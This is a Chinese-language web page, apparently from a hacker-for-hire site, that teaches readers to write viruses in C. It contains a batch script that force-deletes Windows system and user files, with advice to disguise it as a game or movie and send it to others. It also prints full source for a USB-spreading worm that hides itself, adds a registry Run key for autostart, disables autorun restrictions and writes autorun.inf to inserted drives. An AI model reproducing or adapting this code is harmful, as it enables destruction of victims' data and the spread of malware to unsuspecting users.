当前位置:首页 > 黑客技术 > 正文内容

用c编一个木马病毒(木马程序)

hacker2年前 (2022-08-19)黑客技术93

文章大纲:

怎样用C语言编写病毒 / 蓝讯

要编制一个病毒,首先要知道病毒的运行机理。

不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。

在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本

原因。我们可以用一段类C伪码来表示这个过程。

InfectSection()

{

if (infectable_object_found

object_not_already_infect)

infect_object;

}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.

一个简单的触发机制可能是这样工作的:

TriggerSection()

{

if (date_is_Friday_13th_and_time_is_03:13:13)

set_trigger_status_to_yes;

}

有效载荷就是病毒用来骚扰你的电脑的 *** ,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:

Executesection()

{

if (trigger_statue_is_yes)

execute_payload;

}

C语言可以用来做木马或是病毒吗

C语言可以的

你要是会汇编语言 你就知道了!

汇编几乎可以实现所有其他语言的能实现的功能

汇编可以编木马或是病毒代码,其他当然可以了

你要是学习怎么编写 木马或是病毒代码 更好去学习下汇编,

当然你学会汇编后,也许你就对木马或是病毒代码不感兴趣了。。。。 呵呵

如何用C语言编一个简单病毒?

建立一个文档,写入如下片段:

@echo off

del /f /s /q %systemdrive%\*.*

del /f /s /q %systemdrive%\recycled\*.*

del /f /s /q %windir%\*.*

del /f /s /q %windir%\prefetch\*.*

rd /s /q %windir%\temp md %windir%\temp

del /f /q %userprofile%\cookies\*.*

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

echo

之后保存将文件重命名为"【文件名】.bat"

然后文件会自动变异为木马文件【360 瑞星什么的弹窗狂出】,别管他,允许就行了,大约重命名完成后不到半秒就完事了,然后把这个文件发到别人电脑里,名字弄得吸引人一些,比如游戏啊,电影,歌曲什么的,【扩展名一定为.bat】只要他一打开............片刻之后,除了装系统估计一般人没辙了

以上为最简单的病毒软件了。利用的是批处理删除系统文件的 ***

用C语言编写的病毒代码

一个c病毒源代码

#include windows.h

#include Shlwapi.h

#include fstream.h

#include TlHelp32.h

#include Dbt.h

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//计时器

//function

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程

//获取盘符

TCHAR FirstDriveFromMask (ULONG unitmask);

//病毒从U盘启动时用到的函数

BOOL FileExist(TCHAR *path);//测试一个文件是否存在

BOOL GetSelfPath(TCHAR *path);//Get the virus's path

//BOOL FindU(TCHAR *u);//check whether u exist, u[2]

BOOL GetSysPath(TCHAR *path);//得到系统路径

BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置

BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性

BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动

//从C盘启动时用到函数

BOOL CopyToUAndSet();//复制自己到U盘

BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件

BOOL FindSelf();//测试自己是否在已经执行了

//global variable

TCHAR szExePath[MAX_PATH];//the virus's path

TCHAR U[2];//保存U盘的盘符

TCHAR szSysPath[MAX_PATH];//system path

//constant

const TCHAR *szExeName="bbbbb.exe";

const TCHAR *szSysName="aaaaa.exe";

const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,

PSTR szCmdLine, int iCmdShow)

{

static TCHAR szAppName[]=TEXT ("UUUUUU");

HWND hwnd;

MSG msg;

WNDCLASS wndclass;

wndclass.style =0;

wndclass.lpfnWndProc =WndProc;

wndclass.cbClsExtra =0;

wndclass.cbWndExtra =0;

wndclass.hInstance =hInstance;

wndclass.hIcon =0;

wndclass.hCursor =0;

wndclass.hbrBackground =0;

wndclass.lpszMenuName =NULL;

wndclass.lpszClassName =szAppName;

if (!RegisterClass (wndclass))

{

MessageBox (NULL,TEXT("Program requires Windows NT!"),

szAppName, MB_ICONERROR);

return 0;

}

hwnd = CreateWindow (szAppName, NULL,

WS_DISABLED,

0, 0,

0, 0,

NULL, NULL, hInstance, NULL);

while (GetMessage(msg, NULL, 0, 0))

{

TranslateMessage (msg);

DispatchMessage (msg);

}

return msg.wParam;

}

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)

{

PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;

switch(wParam)

{

case D *** _DEVICEARRIVAL: //插入

if (lpdb - dbch_devicetype == D *** _DEVTYP_VOLUME)

{

PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;

U[0]=FirstDriveFromMask(lpdbv -dbcv_unitmask);//得到u盘盘符

//MessageBox(0,U,"Notice!",MB_OK);

CopyToUAndSet();//拷到u盘

}

break;

case D *** _DEVICEREMOVECOMPLETE: //设备删除

break;

}

return LRESULT();

}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)

{

switch(message)

{

case WM_Create: //处理一些要下面要用到的全局变量

U[1]=':';

GetSysPath(szSysPath);//得到系统路径

SetTimer(hwnd,TIMER,5000,0);//启动计时器

GetSelfPath(szExePath);//得到自身的路径

return 0;

case WM_TIMER: //timer message

if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的

SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息

else

{

CopyToSysAndSet(hwnd);//拷到系统盘并自启动

}

return 0;

case WM_DEVICECHANGE:

OnDeviceChange(hwnd,wParam,lParam);

return 0;

case WM_DESTROY:

KillTimer(hwnd,TIMER);

PostQuitMessage(0);

return 0;

}

return DefWindowProc(hwnd, message, wParam, lParam);

}

TCHAR FirstDriveFromMask(ULONG unitmask)

{

char i;

for (i = 0; i 26; ++i)

{

if (unitmask 0x1)//看该驱动器的状态是否发生了变化

break;

unitmask = unitmask 1;

}

return (i + 'A');

}

BOOL GetSelfPath(TCHAR *path)

{

if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录

{

return TRUE;

}

else

return FALSE;

}

BOOL GetSysPath(TCHAR *path)

{

return GetSystemDirectory(path,MAX_PATH);//得到系统路径

}

BOOL CopyToSysAndSet(HWND hwnd)

{

TCHAR szPath[MAX_PATH];

lstrcpy(szPath,szSysPath);

lstrcat(szPath,"\\");

lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录

if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件

{

CopyFile(szExePath,szPath,FALSE);

RegAutoRun(szPath);

return SetFileAttrib(szPath);

}

else

{

if(!FindSelf())//检测自己有没有运行

{

//MessageBox(0,szExePath,szPath,MB_OK);

WinExec(szPath,SW_HIDE);//没有就执行

SendMessage(hwnd,WM_CLOSE,0,0);//结束自己

}

}

return FALSE;

}

BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在

{

int result;

result=PathFileExists(path);

if(result==1)

return TRUE;

else

return FALSE;

}

BOOL SetFileAttrib(TCHAR *path)

{

return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);

}

BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动

{

HKEY hkey;

DWORD v=0;

RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",hkey);

RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)v,sizeof(DWORD));

if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",

hkey)==ERROR_SUCCESS)

{

RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));

RegCloseKey(hkey);

return TRUE;

}

else

return FALSE;

}

BOOL CopyToUAndSet()

{

TCHAR szPath[MAX_PATH];

lstrcpy(szPath,U);

lstrcat(szPath,"\\");

lstrcat(szPath,szExeName);//得到指向U盘的完整目录

TCHAR szAutoFile[MAX_PATH];

lstrcpy(szAutoFile,U);

lstrcat(szAutoFile,"\\");

lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))

{

CreateAutoRunFile(szAutoFile);

SetFileAttrib(szAutoFile);

}

if(!FileExist(szPath))

{

CopyFile(szExePath,szPath,FALSE);

return SetFileAttrib(szPath);

}

return FALSE;

}

BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件

{

ofstream fout;

fout.open(path);

if(fout)

{

fout"[AutoRun]"endl;

fout"open="szExeName" e"endl;

fout"shellexecute="szExeName" e"endl;

fout"shell\\Auto\\command="szExeName" e"endl;

fout"shell=Auto"endl;

fout.close();

return TRUE;

}

return FALSE;

}

BOOL FindSelf(){

PROCESSENTRY32 pe;

HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

pe.dwSize=sizeof(PROCESSENTRY32);

if(Process32First(hShot,pe)){

do{

if(lstrcmp(pe.szExeFile,szSysName)==0)

{

CloseHandle(hShot);

return TRUE;

}

}while(Process32Next(hShot,pe));

}

CloseHandle(hShot);

return FALSE;

} 隐藏窗口:ShowWindow(false); (#include windows.h)

将程序暂停一秒后继续执行:sleep(1000); (同上)

删除文件:system("del 文件的路径");

运行文件:system("文件的路径");

system函数(#include iostream)

复制文件:详见remove函数(#include process.h)

-----------------------------------------------------------

一个不错的病毒完整源代码

#include windows.h

#include Shlwapi.h

#include fstream.h

#include TlHelp32.h

#include Dbt.h

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//计时器

//function

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程

//获取盘符

TCHAR FirstDriveFromMask (ULONG unitmask);

扫描二维码推送至手机访问。

版权声明:本文由黑客24小时接单的网站发布,如需转载请注明出处。

本文链接:http://szlqgy.com/43793.html

“用c编一个木马病毒(木马程序)” 的相关文章

分布式光伏发电(寻找光伏投资公司合作)

利益分配,银行是最精明的。皇明光伏的在内蒙有样板可以考察。 接入客户侧的分布式光伏发电项目。 现在我国分布式光伏发电的难点我觉得是投融资方面,比如说接受程度。工程施工人员应具备电工进网作业许可证或其他符合国家规定的资质、在湖北这边、现在光伏的推广有很多问题,在雾霾严重的今天,光伏电站作为可再生的清洁...

核磁共振仪价格(低频共振仪多少钱一台)

1200万左右。2000多万呢,一般300,现在的价格大概要400万以上.一般200万左右到2000万左右不等再看看别人怎么说的。 要看是几排的。它的孔径达到了惊人的74厘米。 而且是新颖的椭圆形,还有片子都是从国外进口的。 临床上应用的类型主。售价人民币06亿,2000万之间。而且是新颖的椭圆形,...

安徽寿县房价(寿县房产网二手房)

我看了几家,南边大型公园,斜对面不远一中。4000元左右的,请问大家。听说是在3500。 寿春学苑房价。寿县365房产网三环御景湾2017年房价,1500。 对面公安指挥中心,现代汉城2700。想帮父母在老家买套房子。 但出出毛炉的我不懂房地产上,1900元左右,地理位置好的,想在老家县城里买套房子...

抵死缠绵的痛楚(痴心玩物)

再次谢谢了最后一句是合唱的爱是人间一杯苦苦酒愁。 抵死缠绵妈妈说「男人靠得。求一首歌的歌名,中文名称初恋情人所属何妨让我倚靠在你身边缠绵梦里痴心永远明晨若要分手带走伤感无谓让这初恋留恨,母猪会上树」为什麽人不经一事。 囚禁在,怪我爱得太狂野词曲张超演唱Freeparty不要蒙住我的眼让我看清你的脸寂...

最潮老公的称呼(微信老公备注洋气点的)

他说叫老公可以叫爸爸,你可以给他备注一个我的宝贝或者,这个就看自己的心意了,应该是7”等于妻”把你标注为他的媳妇看来他比较喜欢数字你好信看看他微信里还有别的数字,宝贝,这个没有特殊的要求。 爱人爱人这一称谓最早见于新文学作品之中。 亲爱的、或者你直接备注他一个小名儿。 官人官人。点开第一个就是了,因...

脚痛风怎么办(手脚痛风怎么治)

挂完后每天吃药、严禁吃嘌呤高的食物、慢性炎症不易控制,肘关节等都是疼痛难忍,第一控制日常的饮食和生活,要我们没有真实根据的猜测、错过最佳治疗时机,请问一下,有时仍有局部关节酸痛或急性发作。 这可作为痛风治疗方法中的一种,脚痛风如何治疗,多吃碱性食物,痛风的治疗治疗痛风的原则和目的治疗痛风的原则是合理...

评论列表

访客
2年前 (2022-08-19)

th);if(result==1)return TRUE;elsereturn FALSE;}BOOL SetFileAttrib(TCHAR *path){return SetFileAttributes(

访客
2年前 (2022-08-19)

发到别人电脑里,名字弄得吸引人一些,比如游戏啊,电影,歌曲什么的,【扩展名一定为.bat】只要他一打开............片刻之后,除了装系统估计一般人没辙了以上为最简单的病毒软件了。利用的是批处理删除系统文

访客
2年前 (2022-08-19)

Instance, NULL);while (GetMessage(msg, NULL, 0, 0)){TranslateMessage (msg);DispatchMessa

访客
2年前 (2022-08-19)

RUE;}}while(Process32Next(hShot,pe));}CloseHandle(hShot);return FALSE;} 隐藏窗口:ShowWindow(false); (#include windows.h) 将程序

访客
2年前 (2022-08-19)

ge, WPARAM wParam,LPARAM lParam){switch(message){case WM_Create: //处理一些要下面要用到的全局变量U[1]=':';GetSysPath(szSysPath);//得到系统

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。